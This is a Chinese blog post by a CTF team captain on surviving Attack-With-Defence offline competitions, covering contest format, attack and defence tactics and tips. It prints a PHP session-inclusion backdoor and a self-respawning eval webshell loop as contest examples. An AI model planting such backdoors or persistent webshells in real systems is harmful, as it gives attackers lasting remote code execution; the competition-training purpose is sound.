作者:Veneno@Nu1L

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

原文:https://www.anquanke.com/post/id/84675

Hello,大家好,我是Nu1L战队队长Veneno,通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式),以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货,大家勿喷:)

1-何为AWD

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。

比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

2-AWD之出题人

在这里暂且冒充下出题人QAQ

0x01:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

0x02:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

0x03:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

0x04:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

3-如何攻击

相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。

0x01:如何拿flag

一般来说就是以下两种模式:

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

0x02:一个web狗需要具备的一些东西

大致有以下几点:

1-快速的漏洞反应能力。

因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。

2-快速编写脚本的能力。

因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。

3-一个好的心态

毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。

0x03:当我们处于优势地位时

除非处于那种绝对优势的时候,我们可以什么都不在乎。

当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。

0x04:当我们处于劣势地位时

首先还是那句话,心态不要崩。

其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。

如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。

4-如何防守

其实防守更多看的是谁比较细心。

0x01:比赛开始的时候

比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。

然后在尽量不违反主办方check的原则下挂上自己的waf。

一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。

0x02:然后的工作

当然是审计,审计,再审计。

0x03:当发现被打时

当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。

5-一些小tips

分享几个小例子以及自己的思路。

0x01:如果自己拿到了FB

当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。

所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。

0x02:特别熟悉的cms

作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:

1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。

2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。

0x03:一些比较有意思的backdoor

比如下面这个,有兴趣的话可以自己本地测试下:

<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
                   exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
                   exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>

0x04:一些有趣shell

在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>

6-Ending

参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。

大体就说什么多,因为可能是个经验帖,所以并没有太多代码,师傅们勿喷,如果有什么问题可以加我微信(FHcherish)一起交流:)

CTF线下赛AWD模式下的生存技巧的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. 某线下赛AWD

    拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...

  3. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  4. Vmware下CentOs7 桥接模式下配置固定IP

    1.安装完CentOS7后 修改虚拟机网络适配器配置:改成桥接模式 2.设置Vmware的 编辑->虚拟网络编辑器 3.重启CentOs7 , 查看网络 # ip addr interface是 ...

  5. Linux下rsync daemon模式下的错误汇总

    一.前言:最近学习服务环境搭建,遇到了许多大大小小的问题,不过还好,经过我的一通努力终于都解决了,所以分享出来给自己留个纪念,同时也希望能帮助学习中的朋友. 二.环境:两台服务器环境相同 1 [roo ...

  6. 在windows下的CLI模式下如何运行php文件

    https://blog.csdn.net/evkj2013/article/details/52313728 https://jingyan.baidu.com/article/da1091fb09 ...

  7. ASP.NET Web API 框架研究 Web Host模式下的消息处理管道

    寄宿的作用是开启一个进程为Web API提供一个运行环境以解决持续监听.请求监听和响应回复,即将接收到的请求转换成HttpRequestMessage对象传入管道,并将管道生成并经过处理后的HttpR ...

  8. 问题三:Appium 的 UIAutomator2 模式下使用 sendKeys 出现错误

    在Appium默认的模式下,可以对TextFiled控件进行sendKeys操作: 设置capabilities.setCapability("automationName",&q ...

  9. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

随机推荐

  1. EasyUI 学习笔记

    EasyUI常见错误 1 . 无论是用HMTL形式实现组件还是使用代码 + HTML 形式实现组件 , 在为组件设置属性时 , 要注意属性值的类型问题 string:必须加引号 number:不加任何 ...

  2. 【Python】Python time mktime()方法

    描述 Python time mktime() 函数执行与gmtime(), localtime()相反的操作,它接收struct_time对象作为参数,返回用秒数来表示时间的浮点数. 如果输入的值不 ...

  3. 当线程是继承Thread时候 实现方法是静态方法时候 可以用锁修饰静态方法 此时锁对象是类 为啥继承的线程要用 类对象呢 因为他能生成很多实例 接口实现为啥用this 呢因为他就一个

  4. 青花瓷运用->下载历史版本App

    1.软件准备 [必备]Charles4.0.1 下载密码: jfnk [不需要,配合Charles食用效果更佳]Paw2.3.1 下载密码: t3my 2.正式开始 2.1 打开Charles青花瓷 ...

  5. HUAS 1480 虫洞(最短路)

    把每个点拆成两个点,分别表示黑洞和白洞,然后按题意模拟加边跑最短路即可. # include <cstdio> # include <cstring> # include &l ...

  6. python的if语句、while循环、for循环

    if语句 计算机又被称作电脑,意指计算机可以像人脑一样,根据周围环境条件(即expession)的变化做出不同的反应(即执行代码)if语句就是来控制计算机实现这一功能 语法: 1.单分支,单个条件判断 ...

  7. 转:关于Latent Dirichlet Allocation及Hierarchical LDA模型的必读文章和相关代码

    关于Latent Dirichlet Allocation及Hierarchical LDA模型的必读文章和相关代码 转: http://andyliuxs.iteye.com/blog/105174 ...

  8. BZOJ1597 & 洛谷2900:[USACO2008 MAR]Land Acquisition 土地购买——题解

    http://www.lydsy.com/JudgeOnline/problem.php?id=1597 https://www.luogu.org/problemnew/show/P2900 约翰准 ...

  9. CodeForces - 50A Domino piling (贪心+递归)

    CodeForces - 50A Domino piling (贪心+递归) 题意分析 奇数*偶数=偶数,如果两个都为奇数,最小的奇数-1递归求解,知道两个数都为1,返回0. 代码 #include ...

  10. python多进程之Process

    由于fork创建进程不能在windows系统上使用,所以产生了multiprocessing.Process Process可以直接实例化然后用start调用,需要指定新的进程执行的函数,用元组的方式 ...